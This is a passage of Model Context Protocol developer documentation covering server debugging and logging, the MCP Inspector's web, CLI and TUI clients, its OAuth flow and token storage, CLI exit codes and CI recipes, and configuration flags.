| [Kotlin](https://kotlin.sdk.modelcontextprotocol.io) | [modelcontextprotocol/kotlin-sdk](https://github.com/modelcontextprotocol/kotlin-sdk) | Tier 3 |
See [SDK Tiering System](/community/sdk-tiers) for details on what each tier means.
## Getting Started
Each SDK provides the same functionality but follows the idioms and best practices of its language. All SDKs support:
* Creating MCP servers that expose tools, resources, and prompts
* Building MCP clients that can connect to any MCP server
* Local and remote transport protocols
* Protocol compliance with type safety
Visit the SDK page for your chosen language to find installation instructions, documentation, and examples.
## Next Steps
Ready to start building with MCP? Choose your path:
Learn how to create your first MCP server
Create applications that connect to MCP servers
# Debugging
Source: https://modelcontextprotocol.io/docs/2026-07-28/tools/debugging
A comprehensive guide to debugging Model Context Protocol (MCP) integrations
Effective debugging is essential when developing MCP servers or integrating
them with applications. This guide covers the debugging tools and approaches
available in the MCP ecosystem.
## Debugging tools overview
MCP provides several tools for debugging at different levels:
1. **[MCP Inspector](/docs/2026-07-28/tools/inspector)**: interactive, transport-agnostic
testing UI. Connect to stdio or Streamable HTTP servers, invoke
[tools](/specification/latest/server/tools),
[prompts](/specification/latest/server/prompts), and
[resources](/specification/latest/server/resources), and watch the
notification stream. This should be your first stop.
2. **Server logging**: structured logs to stderr (stdio transport) or via
[OpenTelemetry](https://opentelemetry.io/) (all transports).
[Logging](/specification/2026-07-28/server/utilities/logging) over the protocol
(`notifications/message`) is deprecated as of protocol version `2026-07-28`.
3. **Client developer tools**: most MCP clients expose logs and connection
state. See [Debugging in Claude Desktop](#debugging-in-claude-desktop)
below for one example, or consult your client's documentation.
## Implementing logging
### Server-side logging
When building a server that uses the local
[stdio transport](/specification/2026-07-28/basic/transports/stdio), all messages
logged to stderr (standard error) will be captured by the host application
automatically.
Local MCP servers should not log messages to stdout (standard out), as this
will interfere with protocol operation.
For servers using the
[Streamable HTTP transport](/specification/2026-07-28/basic/transports/streamable-http),
stderr is not captured by the client. Use your own server-side log aggregation
or [OpenTelemetry](https://opentelemetry.io/) for logs, and standard HTTP
tooling (curl, browser DevTools Network panel) to inspect requests and SSE
streams.
The `notifications/message` mechanism below is deprecated as of protocol
version `2026-07-28`. It remains available during the deprecation window.
For all [transports](/specification/latest/basic/transports), record what the
server is doing as it runs:
```python Python theme={null}
import logging
from mcp.server import MCPServer
logger = logging.getLogger(__name__)
mcp = MCPServer("reports")
@mcp.tool()
async def fetch_report(report_id: str) -> str:
"""Fetch a report by id."""
logger.info("Fetching report %s", report_id)
return f"Report {report_id} is ready."
```
```typescript TypeScript theme={null}
await server.sendLoggingMessage({
level: "info",
data: "Server started successfully",
});
```
MCP defines eight
[RFC 5424 severity levels](/specification/latest/server/utilities/logging#log-levels)
(`debug` through `emergency`). Clients opt in to log messages per request by
setting the
[`io.modelcontextprotocol/logLevel`](/specification/2026-07-28/server/utilities/logging#per-request-log-level)
field in the request's `_meta`. Servers must not send `notifications/message`
for requests that omit this field.
Important events to log:
* Startup steps
* Resource access
* Tool execution
* Error conditions
* Performance metrics
## Common issues
The examples below use Claude Desktop's
[`claude_desktop_config.json`](/docs/2026-07-28/develop/connect-local-servers); the same
principles apply to any stdio-based MCP client.
### Working directory
When an MCP client launches a stdio server:
* The working directory for servers launched via the client's config may be
undefined (like `/` on macOS) since the client could be started from
anywhere
* Always use absolute paths in your configuration and `.env` files to ensure
reliable operation
* For testing servers directly via command line, the working directory will be
where you run the command
For example in `claude_desktop_config.json`, use:
```json theme={null}
{
"mcpServers": {
"filesystem": {
"command": "npx",
"args": [
"-y",
"@modelcontextprotocol/server-filesystem",
"/Users/username/data"
]
}
}
}
```
Instead of relative paths like `./data`
### Environment variables
MCP servers launched over stdio inherit only a limited subset of environment
variables automatically (the exact set is platform-dependent).
To override the default variables or provide your own, you can specify an
`env` key in `claude_desktop_config.json`:
```json theme={null}
{
"mcpServers": {
"myserver": {
"command": "mcp-server-myapp",
"env": {
"MYAPP_API_KEY": "some_key"
}
}
}
}
```
### Server startup
Common startup problems:
1. **Path Issues**
* Incorrect server executable path
* Missing required files
* Permission problems
* Try using an absolute path for `command`
2. **Configuration Errors**
* Invalid JSON syntax
* Missing required fields
* Type mismatches
3. **Environment Problems**
* Missing environment variables
* Incorrect variable values
* Permission restrictions
### Connection problems
When servers fail to connect:
1. Check client logs
2. Verify server process is running
3. Test standalone with [Inspector](/docs/2026-07-28/tools/inspector)
4. Verify
[protocol compatibility](/docs/2026-07-28/learn/versioning#negotiation): call
[`server/discover`](/specification/2026-07-28/server/discover) to see which
protocol versions the server supports. An
`UnsupportedProtocolVersionError` (`-32022`) lists the server's supported
versions in its `data` field
5. Check the
[per-request `_meta` fields](/specification/2026-07-28/basic/index#meta):
every request must carry `io.modelcontextprotocol/protocolVersion` and
`io.modelcontextprotocol/clientCapabilities`, and clients should also
include `io.modelcontextprotocol/clientInfo`. A request missing either
required field is rejected with error `-32602` (Invalid params), the same
code returned for many other malformed inputs. If the server needs a
capability the request's `clientCapabilities` did not declare, such as
[elicitation](/specification/2026-07-28/client/elicitation), it returns a
`MissingRequiredClientCapabilityError` (`-32021`) naming the missing
capabilities. Inspect the request's `_meta` and the
[`server/discover`](/specification/2026-07-28/server/discover) response to
verify both sides declared what you expect
## Debugging in Claude Desktop
Claude Desktop is one of many MCP clients. It is available on
macOS and Windows.
### Checking server status
Click the "Add files, connectors, and more" plus icon in the chat input, then
hover over the **Connectors** menu to see connected servers and available
tools.
### Viewing logs
Log files are written to:
* macOS: `~/Library/Logs/Claude`
* Windows: `%APPDATA%\Claude\logs`
```bash macOS theme={null}
tail -n 20 -F ~/Library/Logs/Claude/mcp*.log
```
```powershell Windows theme={null}
type "$env:AppData\Claude\logs\mcp*.log"
```
The logs capture:
* Server connection events
* Configuration issues
* Runtime errors
* Message exchanges
### Using Chrome DevTools
Access Chrome's developer tools inside Claude Desktop to investigate
client-side errors:
1. Create a `developer_settings.json` file with `allowDevTools` set to true:
```bash macOS theme={null}
echo '{"allowDevTools": true}' > ~/Library/Application\ Support/Claude/developer_settings.json
```
```powershell Windows theme={null}
'{"allowDevTools": true}' | Set-Content "$env:AppData\Claude\developer_settings.json"
```
2. Open DevTools: `Command-Option-I` (macOS) or `Ctrl+Alt+I` (Windows)
Note: You'll see two DevTools windows:
* Main content window
* App title bar window
Use the Console panel to inspect client-side errors.
Use the Network panel to inspect:
* Message payloads
* Connection timing
## Debugging workflow
### Development cycle
1. Initial Development
* Use [Inspector](/docs/2026-07-28/tools/inspector) for basic testing
* Implement core functionality
* Add logging points
2. Integration Testing
* Test in your target MCP client
* Monitor logs
* Check error handling
### Testing changes
To test changes efficiently:
* **Configuration changes**: Restart the MCP client
* **Server code changes**: Restart the client (for Claude Desktop, fully quit
and reopen; closing the window is not enough)
* **Quick iteration**: Use [Inspector](/docs/2026-07-28/tools/inspector) during
development
## Best practices
### Logging strategy
1. **Structured Logging**
* Use consistent formats
* Include context
* Add timestamps
* Track request IDs
2. **Error Handling**
* Log stack traces
* Include error context
* Track error patterns
* Monitor recovery
3. **Performance Tracking**
* Log operation timing
* Monitor resource usage
* Track message sizes
* Measure latency
### Security considerations
When debugging:
1. **Sensitive Data**
* Sanitize logs
* Protect credentials
* Mask personal information
2. **Access Control**
* Verify permissions
* Check authentication
* Monitor access patterns
For a full treatment of MCP attack vectors and mitigations, see
[Security Best Practices](/docs/2026-07-28/tutorials/security/security_best_practices).
## Getting help
When encountering issues:
1. **First Steps**
* Check server logs
* Test with [Inspector](/docs/2026-07-28/tools/inspector)
* Review configuration
* Verify environment
2. **Support Channels**
* [GitHub issues](https://github.com/modelcontextprotocol/modelcontextprotocol/issues)
* [GitHub discussions](https://github.com/modelcontextprotocol/modelcontextprotocol/discussions)
3. **Providing Information**
* Log excerpts
* Configuration files
* Steps to reproduce
* Environment details
## Next steps
Learn to use the MCP Inspector
Walk through building a server from scratch
Full claude\_desktop\_config.json reference and troubleshooting
# MCP Inspector
Source: https://modelcontextprotocol.io/docs/2026-07-28/tools/inspector
Interactive developer tooling for testing and debugging MCP servers, in the browser, on the command line, and in the terminal
The [MCP Inspector](https://github.com/modelcontextprotocol/inspector) is the reference developer tool for testing and debugging [MCP servers](/docs/2026-07-28/learn/server-concepts). It ships as a single package, `@modelcontextprotocol/inspector`, providing **three clients behind one binary**:
| Client | Invocation | What it's for |
| ------- | ------------------------------------------- | --------------------------------------------------------------------------------- |
| **Web** | `npx @modelcontextprotocol/inspector` | A full graphical inspector in the browser. The default, and the richest surface. |
| **CLI** | `npx @modelcontextprotocol/inspector --cli` | A scriptable, machine-readable client for CI, shell pipelines, and coding agents. |
| **TUI** | `npx @modelcontextprotocol/inspector --tui` | An interactive terminal UI, for when a browser isn't available or wanted. |
All three are built on the same shared core, so a connection behaves identically across them: the same transports, the same configuration files, the same OAuth state on disk, and the same [protocol-era](/docs/2026-07-28/tools/inspector/protocol-eras) negotiation (legacy vs. modern 2026-07-28).
## Quickstart
The Inspector requires **Node 22.19.0 or newer** and runs directly through `npx`. No installation is required:
```bash theme={null}
# Launch the web UI and connect to a local stdio server
npx @modelcontextprotocol/inspector node path/to/server/index.js
# Or launch with no target and add servers from the UI
npx @modelcontextprotocol/inspector
```
The command prints a URL containing a one-time session token; open it in your browser. See [Web client](/docs/2026-07-28/tools/inspector/web).
```bash theme={null}
# List a server's tools and exit
npx @modelcontextprotocol/inspector --cli node path/to/server/index.js --method tools/list
# Call a tool and pipe the result into jq
npx @modelcontextprotocol/inspector --cli https://api.example.com/mcp --transport http \
--method tools/call --tool-name get_weather --tool-arg city=Boston --format json | jq .result
```
See [CLI client](/docs/2026-07-28/tools/inspector/cli).
```bash theme={null}
npx @modelcontextprotocol/inspector --tui node path/to/server/index.js
```
See [TUI client](/docs/2026-07-28/tools/inspector/tui).
### Inspecting published servers
Pass the command that launches the server as the Inspector's arguments, or point it at a remote server with `--server-url`:
```bash theme={null}
npx -y @modelcontextprotocol/inspector npx @modelcontextprotocol/server-filesystem ~/Desktop
```
```bash theme={null}
npx @modelcontextprotocol/inspector uvx mcp-server-git --repository ~/code/mcp/servers.git
```
```bash theme={null}
npx @modelcontextprotocol/inspector --server-url https://api.example.com/mcp --transport http
```
Always read a server's own README first, since every server requires different commands and arguments.
## Launcher flags vs. client flags
`mcp-inspector`, the binary that `npx @modelcontextprotocol/inspector` runs, is a thin launcher. It owns only two things:
1. **The mode flag:** `--web` (default), `--cli`, or `--tui`. At most one; passing two errors with `Specify at most one of --web, --cli, or --tui.`
2. **`-h` / `--help`.**
Everything else (`--catalog`, `--config`, `--server-url`, `--transport`, `--method`, the OAuth flags) is defined by the *client*, not the launcher, and the clients do not all define the same set. The [Configuration and flags](/docs/2026-07-28/tools/inspector/configuration) page is organized that way, by owner.
Mode flags are recognized only at the front of the command line: the first token that isn't `--web` / `--cli` / `--tui` ends launcher parsing, and everything after it is forwarded to the client unchanged. That's what lets a literal `--cli` appear later as one of your server's own arguments:
```bash theme={null}
mcp-inspector --cli node server.js --cli # mode is CLI; the trailing --cli goes to server.js
```
`--help` behaves differently with and without a mode flag. Bare `mcp-inspector --help` prints the launcher's help and exits. With a mode flag it is
forwarded, so `mcp-inspector --cli --help` prints the CLI's full flag
reference instead.
## Where to go next
A tab-by-tab walkthrough of the graphical inspector.
Method reference, output formats, exit codes, and CI recipes.
Terminal navigation and keyboard reference.
Catalog vs. config files, the full per-client flag reference, and
environment variables.
The OAuth flow end to end, mid-session re-authorization, and loopback
callbacks.
Legacy vs. modern (2026-07-28) operation, and how every tab changes between
protocol eras.
Importing client configs, reviewing MCP Apps, Docker, and network hosting.
Broader debugging strategies beyond the Inspector.
# Authorization
Source: https://modelcontextprotocol.io/docs/2026-07-28/tools/inspector/authorization
How the MCP Inspector performs OAuth, re-authorizes mid-session, and shares tokens between its clients
Remote MCP servers usually require authorization. The Inspector implements the full [authorization](/specification/latest/basic/authorization) flow in all three clients, sharing the resulting tokens on disk so a login done once is usable everywhere.
## The flow, end to end
The Inspector connects to the server URL. The server answers `401`. When the
response carries a `WWW-Authenticate` header, it points at the
protected-resource metadata URL (`resource_metadata`) and, optionally, the
scopes the request requires.
The Inspector fetches the server's [protected-resource and
authorization-server
metadata](/specification/latest/basic/authorization/authorization-server-discovery)
to learn the endpoints and the supported grants.
The Inspector identifies itself to the authorization server through
whichever mechanism is configured: [dynamic client
registration](/specification/latest/basic/authorization/client-registration#dynamic-client-registration),
a pre-registered static client (`--client-id` / `--client-secret`), a
[Client ID Metadata
Document](/specification/latest/basic/authorization/client-registration#client-id-metadata-documents)
(`--client-metadata-url`), or an [enterprise-managed
IdP](/extensions/auth/enterprise-managed-authorization).
The Inspector opens the authorization URL. You sign in and consent.
The authorization server redirects to the Inspector's callback URL, carrying
the authorization code.
The code is exchanged for tokens, the tokens are persisted, and the original
connect (or, for a [mid-session challenge](#mid-session-re-authorization),
the request that was refused) is retried automatically.
## Callback URLs
The web app listens for the OAuth callback on its own URL, while the CLI and TUI deliberately share a second one:
| Surface | Default callback | Why |
| ------- | -------------------------------------- | ---------------------------------------------------------------------------------- |
| **Web** | `http://localhost:6274/oauth/callback` | The main app server already has an HTTP listener. |
| **CLI** | `http://127.0.0.1:6276/oauth/callback` | A dedicated loopback listener, so it doesn't collide with a running web Inspector. |
| **TUI** | `http://127.0.0.1:6276/oauth/callback` | The same listener as the CLI. |
**Register `http://127.0.0.1:6276/oauth/callback`** on any IdP that requires pre-registered redirect URIs before using the CLI or TUI. A predictable default is the point: you register once and reuse it.
Override with `--callback-url` or `MCP_OAUTH_CALLBACK_URL`.
The callback URL **must bind a loopback host**: `localhost`, `127.0.0.0/8`, or
`[::1]`. The listener receives the authorization code over plaintext `http`,
so a non-loopback host is rejected with an error and there is no flag to
override that. If your browser runs on a different machine, forward the
callback port to it; `--print-handoff` (below) prints a ready-made
`portForwardCmd`.
Redirect URIs must match your registration **exactly**. `http://localhost:6276/...` and `http://127.0.0.1:6276/...` are different URIs to an authorization server, even though they reach the same listener.
Only one process can hold the default port at a time; a second concurrent flow fails with `EADDRINUSE`. Use a different fixed port per instance, or `http://127.0.0.1:0/oauth/callback` for an OS-assigned ephemeral port when your authorization server supports dynamic redirect-URI registration.
## Where credentials live
| File | Contents |
| -------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------- |
| `~/.mcp-inspector/storage/oauth.json` | Tokens and client information, keyed by canonicalized server URL. Written owner-only. |
| `~/.mcp-inspector/storage/client.json` | Install-level client settings (client metadata URL, enterprise IdP). The same file the web client's **Client Settings** dialog writes. |
| The server's `oauth` block in the [catalog file](/docs/2026-07-28/tools/inspector/configuration#catalog-file-format) | Per-server client id/secret, scopes, the enterprise-managed flag, and the [step-up](#mid-session-re-authorization) policy. |
The path to `oauth.json` is resolved in order: `MCP_INSPECTOR_OAUTH_STATE_PATH`, then `/oauth.json` (see [Environment variables](/docs/2026-07-28/tools/inspector/configuration#environment-variables)), then the default above. All three clients resolve it the same way. Command-line `--client-id` / `--client-secret` / `--client-metadata-url` override `client.json`.
## Mid-session re-authorization
A server can refuse a *single* request mid-session with a `401` or a `403 insufficient_scope`, and the Inspector handles both without dropping the connection:
* **Re-authorization**: the token expired or was revoked. The Inspector parses the `WWW-Authenticate` challenge and re-runs the flow, then retries the failed request.
* **Step-up**: the request needs scopes the current token doesn't carry. The Inspector re-authorizes for the union of the held and required scopes, so the new token covers everything the old one did plus the newly required scopes.
In the **web** client this surfaces as a re-authorization banner. In the **CLI** it prompts on stderr:
```
Proceed with step-up authorization? [y/N]
```
Answer **y** to continue. Piped input works (`echo y | ...`), as long as it's newline-terminated or stdin closes. **N**, or EOF with no answer, declines. A non-TTY stdin that sends nothing within 5 seconds fails with `auth_required`, which is distinct from an explicit decline. Enterprise-managed step-up re-mints silently, with no prompt.
## Non-interactive and CI runs
Interactive OAuth requires a TTY on **stdin or stderr**, or [`MCP_AUTO_OPEN_ENABLED=true`](/docs/2026-07-28/tools/inspector/configuration#environment-variables). Redirecting stderr into a pipe, as in `2>&1 | tee`, still works because stdin stays a TTY. When neither is true, which is the normal CI shape, the CLI fails fast with `auth_required` rather than waiting up to fifteen minutes for a callback nobody will complete.
For CI, be explicit:
```bash theme={null}
mcp-inspector --cli "$URL" --transport http --stored-auth-only --method tools/list
```
`--stored-auth-only` never starts interactive OAuth or step-up, never opens a browser, uses the shared store if a token is there, and fails immediately otherwise.
## Handing off from the web client to the CLI
The common case: a human completed OAuth in the web Inspector on this machine, and now a script wants to use that token.
| Flag | Behavior |
| ----------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `--use-stored-auth` | Read the stored auth for `--server-url` and inject `Authorization: Bearer`. When a refresh token is stored, run the refresh grant first and inject the **fresh** token, persisting the rotation. Exits `3` (listing the stored server URLs) when nothing matches. |
| `--wait-for-auth ` | Poll the state file until a token for `--server-url` appears, then inject it. Times out at `` with exit `3`. Use after handing a login off to a human. |
| `--list-stored-auth` | Print `{ oauthStatePath, storedServerUrls }` and exit without connecting. |
| `--print-handoff` | Print a JSON block (`deepLink`, `portForwardCmd`, `oauthStatePath`, `apiToken`) for `--server-url` and exit; this is everything a remote script needs to drive the browser side. |
| `--relogin` | Delete the stored OAuth for this server URL before connecting. HTTP/SSE only. |
A typical remote-VM sequence:
```bash theme={null}
# On the VM: print what the human needs in order to complete OAuth in their browser
mcp-inspector --cli --server-url https://api.example/mcp --print-handoff
# Then block until the token lands, and run the call with it
mcp-inspector --cli --transport http --server-url https://api.example/mcp \
--wait-for-auth 120 --method tools/list
```
The `deepLink` in the handoff block navigates a browser straight to a *connected* Inspector; see [Deep links](/docs/2026-07-28/tools/inspector/web#deep-links).
Because the stored entry records no expiry, a stored refresh token is
exercised on **every** `--use-stored-auth` run. With rotating (single-use)
refresh tokens that opens two narrow failure windows: two concurrent
invocations against the same state file can race for the token, and a crash
between a successful refresh and the write-back leaves the rotated token
unsaved. Both are unlikely; re-authorize in the web client to recover.
## Inspecting auth state
* **Web**: the Connection Info panel shows discovery results, the registered client, granted scopes, and token state, and offers **Clear OAuth state** for the active server.
* **TUI**: the **Auth** tab (`a`) shows the same fields and clears state the same way.
* **CLI**: `--list-stored-auth` shows what's on disk, and `--relogin` discards it and starts over.
# CLI client
Source: https://modelcontextprotocol.io/docs/2026-07-28/tools/inspector/cli
Scripting the MCP Inspector: methods, output formats, exit codes, and CI recipes
Each CLI run connects to a server, invokes the single request you name with `--method`, prints the result, and exits. That makes it a good fit for CI pipelines, shell one-liners, and coding agents that need to verify a server change immediately.
```bash theme={null}
npx @modelcontextprotocol/inspector --cli node build/index.js --method tools/list
```
The examples below use the installed `mcp-inspector` binary. Without a global install, prefix each command with `npx @modelcontextprotocol/inspector` instead, as above.
## Choosing a server
The CLI accepts a positional command (stdio), a `--server-url` (HTTP/SSE), or a named server out of a catalog or config file:
```bash theme={null}
# stdio: everything positional is the command to spawn
mcp-inspector --cli node build/index.js --method tools/list
# HTTP
mcp-inspector --cli https://api.example.com/mcp --transport http --method tools/list
# From a file
mcp-inspector --cli --config ./mcp.json --server myserver --method tools/list
```
When the server comes from a file, its per-server settings (headers, timeouts, OAuth, [protocol era](/docs/2026-07-28/tools/inspector/protocol-eras), and roots) apply to the connection, resolved exactly as the TUI and web client resolve them. A `--header` flag overrides the file's headers for that run while leaving its timeouts and OAuth in place.
Later examples abbreviate whichever of these forms you use, along with its `--transport` or `--config`/`--server` flags, as ``.
**The config file is the only durable way to give a run its
[roots](/specification/draft/client/roots):** there is no roots flag, and
`--method roots/set` applies only to that one short-lived connection. Roots
configured for a server are advertised at connect, so a server that calls
`roots/list` (as `@modelcontextprotocol/server-filesystem` does, to learn its
allowed directories) gets them.
See [Configuration and flags](/docs/2026-07-28/tools/inspector/configuration) for `--catalog` vs. `--config`, the `--` separator, and the shared server-selection flags.
## Methods
| `--method` | Required companions | Notes |
| ------------------------------ | ----------------------------------------------------- | -------------------------------------------------------------------------------- |
| `initialize` | None | Connect-only probe: `{serverInfo, protocolVersion, capabilities, instructions}`. |
| `tools/list` | None | |
| `tools/call` | `--tool-name`, plus `--tool-arg` / `--tool-args-json` | |
| `resources/list` | None | |
| `resources/read` | `--uri` | |
| `resources/templates/list` | None | |
| `prompts/list` | None | |
| `prompts/get` | `--prompt-name`, `--prompt-args` | |
| `logging/setLevel` | `--log-level` | Legacy era only; modern servers opt in per request instead. |
| `servers/list`, `servers/show` | None | Read the catalog **without connecting** to anything. |
Stream- or session-only methods (`logging/tail`, for example) are rejected, since a process that exits can't hold a stream open.
### Passing arguments
`--tool-arg` takes `key=value` and **coerces** values by JSON-parsing them, so `count=1` becomes a number and `"012"` becomes `12`:
```bash theme={null}
mcp-inspector --cli --method tools/call --tool-name mytool \
--tool-arg key=value --tool-arg count=1 --tool-arg 'options={"format":"json"}'
```
`--tool-args-json` takes the whole argument object at once and passes it **verbatim**, with no coercion, so `"012"` stays the string `012`. The two are mutually exclusive:
```bash theme={null}
mcp-inspector --cli --method tools/call --tool-name mytool \
--tool-args-json '{"zip":"10001"}'
```
## Output
`--format text` (the default) pretty-prints for humans. `--format json` emits a single JSON object on stdout with no banners, so the whole output pipes cleanly:
```bash theme={null}
mcp-inspector --cli --method tools/list --format json | jq '.result.tools[].name'
```
## Probing MCP Apps
`--app-info` reports whether a tool ships an [MCP App](/extensions/apps/overview) UI (its `ui://` resource, CSP, and permissions) **without calling the tool**, so a pipeline can decide whether it needs a browser before invoking anything:
```bash theme={null}
# One tool -> one JSON line
mcp-inspector --cli --method tools/call --tool-name my_tool --app-info
# {"hasApp":true,"toolName":"my_tool","resourceUri":"ui://...","csp":{...},"permissions":{...}}
# Every tool -> NDJSON, one line each, over a single connection
mcp-inspector --cli --method tools/list --app-info | jq -c 'select(.hasApp)'
```
Exit codes distinguish the outcomes: a tool with an app exits `0`, one with no app exits `2`, and a missing tool exits `5`, so a typo isn't mistaken for "no app". A probe failure (unreadable UI resource, malformed `resourceUri`) is reported in a `resourceError` field rather than aborting, so one bad tool never kills a whole listing.
`tools/list --app-info` always emits NDJSON (one line per tool) regardless of
`--format`; `--format json` reshapes only the single-tool output of
`tools/call --app-info`.
## Exit codes and error envelopes
Every non-zero exit maps to a stable failure class, so a caller can branch on *why* without scraping prose:
| Code | Meaning |
| ---- | ---------------------------------------------------------------------------- |
| `0` | Success. |
| `1` | Usage or unexpected error (the catch-all). |
| `2` | No MCP App found on the tool (`--app-info` probe). |
| `3` | Server requires authentication (401/403, `WWW-Authenticate`, OAuth). |
| `4` | Server unreachable (DNS, connection refused, timeout, `fetch failed`). |
| `5` | Tool error: `tools/call` returned `isError: true`, or the tool wasn't found. |
On any non-zero exit the CLI also writes a **single JSON line to stderr**:
```json theme={null}
{
"error": {
"code": "auth_required",
"message": "Unauthorized",
"status": 401,
"url": "https://api.example/mcp"
}
}
```
Because it's one line, a caller can parse it with `2>&1 | tail -1 | jq .error`.
A `tools/call` that returns `isError: true` still prints its payload, but exits `5`, so an `&&` chain doesn't proceed on a failed call.
## Authorization in scripts
By default the CLI runs the same loopback OAuth flow as the TUI: it opens a browser and waits on a localhost callback that a CI job can't complete. Two flags make non-interactive runs predictable:
* `--stored-auth-only`: never start interactive OAuth or step-up, and never auto-open a browser. Use tokens from the shared store if present, otherwise fail immediately with `auth_required`. This is the flag CI wants.
* `--use-stored-auth`: reuse a token that the web Inspector already obtained on this machine, refreshing it first when a refresh token is stored.
Without either, and with no TTY on stdin or stderr, the CLI fails fast with `auth_required` rather than hanging for fifteen minutes on a callback nobody will complete.
See [Authorization](/docs/2026-07-28/tools/inspector/authorization) for the full flow, the web-to-CLI handoff, and `--print-handoff`.
## Recipes
### Verify a server in CI
```bash theme={null}
set -euo pipefail
# Fail the build if the server can't be reached or doesn't expose the tool
mcp-inspector --cli --config ./ci-servers.json --server my-server \
--stored-auth-only --method tools/list --format json \
| jq -e '.result.tools | map(.name) | index("get_weather")' > /dev/null
```
### Branch on the failure class
```bash theme={null}
if out=$(mcp-inspector --cli "$URL" --transport http --method tools/list 2>err.json); then
echo "$out"
else
case $? in
3) echo "needs auth: run the web inspector once to sign in" ;;
4) echo "server unreachable" ;;
*) jq .error < err.json ;;
esac
fi
```
### Smoke-test every tool that has a UI
```bash theme={null}
mcp-inspector --cli "$URL" --transport http --method tools/list --app-info \
| jq -r 'select(.hasApp) | .toolName'
```
### Inspect a catalog without connecting
```bash theme={null}
mcp-inspector --cli --catalog ~/.mcp-inspector/mcp.json --method servers/list
mcp-inspector --cli --catalog ~/.mcp-inspector/mcp.json --method servers/show --server my-server
```
`servers/show` redacts secret-bearing fields (`env` values, sensitive headers,
OAuth client secrets), but it does **not** scrub credentials embedded in a
server `url` (userinfo or query tokens) or in stdio `args`. Treat raw URL and
`detail` fields as sensitive before pasting them into an issue.
## Proxies
Connections to remote HTTP/SSE servers honor the conventional proxy variables: `HTTPS_PROXY` / `HTTP_PROXY` (and their lowercase forms) select the proxy and `NO_PROXY` exempts hosts. No Inspector-specific flag is needed, and the proxy agent is loaded lazily, so runs without a proxy pay nothing. The same applies to the web client's backend.
# Configuration and flags
Source: https://modelcontextprotocol.io/docs/2026-07-28/tools/inspector/configuration
Catalog vs. config files, which client owns which flag, and every environment variable
The `mcp-inspector` binary is a launcher: it reads two flags of its own and forwards every other argument to one of three clients (web, CLI, or TUI). Each client defines its own flags, so a flag that works in one can be unknown to another (`--method`, for example, is CLI-only). This page groups flags and environment variables by the client that owns them.
## The launcher owns exactly two things
| Flag | Behavior |
| --------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `--web` / `--cli` / `--tui` | Selects the client, `--web` by default. Passing more than one fails with `Specify at most one of --web, --cli, or --tui.` Launcher flags must come first: parsing stops at the first argument the launcher does not own, and everything from that point on is forwarded to the client unchanged. |
| `-h` / `--help` | With no mode flag, prints the launcher's own help and exits. With a mode flag it is forwarded, so `mcp-inspector --cli --help` prints the CLI's help. |
Everything below belongs to a client.
## Choosing servers
### `--catalog` vs. `--config`
All three clients resolve `--catalog` and `--config` through the same shared code, so each flag behaves the same in the web app, the CLI, and the TUI. Where the two differ from each other is the table below.
| | `--catalog ` | `--config ` |
| --------------------------- | ---------------------------------------------------------------------------- | ------------------------------------------------------- |
| **Writable?** | Yes, the Inspector's own server list. | No. Served as-is, never written, seeded, or migrated. |
| **Missing file?** | Created and seeded (see below). | **Errors.** |
| **Default** | `~/.mcp-inspector/mcp.json`, or the `MCP_CATALOG_PATH` environment variable. | None; you must pass it. |
| **Editable in the web UI?** | Yes. | No. |
| **Use it for** | Your own working set of servers. | A read-only session against someone else's config file. |
The two are **mutually exclusive**, and neither combines with an ad-hoc target. Passing both is rejected identically by all three clients.
**What a freshly seeded catalog contains depends on the client.** The web backend seeds two sample servers, so a first launch has something to connect to immediately:
```json theme={null}
{
"mcpServers": {
"filesystem-server-default": {
"type": "stdio",
"command": "npx",
"args": ["-y", "@modelcontextprotocol/server-filesystem", "/tmp"]
},
"everything-server-default": {
"type": "stdio",
"command": "npx",
"args": ["-y", "@modelcontextprotocol/server-everything"]
}
}
}
```
The CLI and TUI seed an empty `{ "mcpServers": {} }` instead: they are non-interactive or list-driven, so sample entries would be noise rather than a starting point.
Either way, seeding happens only when the file does not exist yet, and a read-only `--config` is never seeded at all.
`--config` is what you want when pointing the Inspector at a config file you
didn't write: a coworker's, a client application's, or one checked into a
repo. It guarantees the Inspector will not touch the file.
### Ad-hoc targets
Instead of a file you can name one server directly, either as a positional command (stdio) or a URL:
```bash theme={null}
mcp-inspector node build/index.js # stdio, positional
mcp-inspector --server-url https://api.example.com/mcp --transport http
```
### Shared server-selection flags
Defined **separately by each of web, CLI, and TUI**, so they're available in all three, with the divergences noted:
| Flag | Meaning | Divergence |
| ------------------------ | ----------------------------------------------------- | ----------------------------------------------------------------------------------------------- |
| `--catalog ` | Writable catalog file. | None |
| `--config ` | Read-only session file. | None |
| `--server ` | Pick one named server out of the file. | **Web and CLI only.** The TUI loads every server in the file and lets you choose interactively. |
| `--transport ` | `stdio`, `sse`, or `http`. | Ad-hoc targets only. |
| `--server-url ` | Server URL for SSE/HTTP. | Ad-hoc targets only. |
| `--cwd ` | Working directory for a stdio server process. | None |
| `-e ` | Environment variables for a stdio server. Repeatable. | None |
| `--header "Name: Value"` | HTTP headers for an HTTP/SSE server. Repeatable. | Requires an ad-hoc HTTP/SSE server on the web client. |
| `[target...]` | Positional command/URL for one ad-hoc server. | None |
### The `--` separator
The **web and CLI** clients split their arguments at a bare `--` and pass everything after it to the target command as its own arguments. This is how you pass a flag that the Inspector would otherwise eat:
```bash theme={null}
mcp-inspector node build/index.js -- --config /etc/myserver.conf --verbose
```
Without the separator, `--config` would be read as the Inspector's own read-only-session flag.
## Web-only flags
| Flag | Meaning |
| ------- | ----------------------------------------------------------------------------------------------------- |
| `--dev` | Run the Vite dev server instead of the pre-built bundle. Useful when working on the Inspector itself. |
## CLI and TUI: OAuth client flags
These five are defined by the **CLI and TUI** only. The web client obtains the same settings through its Client Settings dialog.
| Flag | Environment variable | Meaning |
| ----------------------------- | ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `--client-config ` | `MCP_CLIENT_CONFIG_PATH` | Install-level client config. Default `~/.mcp-inspector/storage/client.json`. |
| `--client-id ` | None | OAuth client ID for a static client. Overrides `client.json`. |
| `--client-secret ` | None | OAuth client secret for confidential clients. Overrides `client.json`. |
| `--client-metadata-url ` | None | CIMD metadata URL. Overrides `client.json`. |
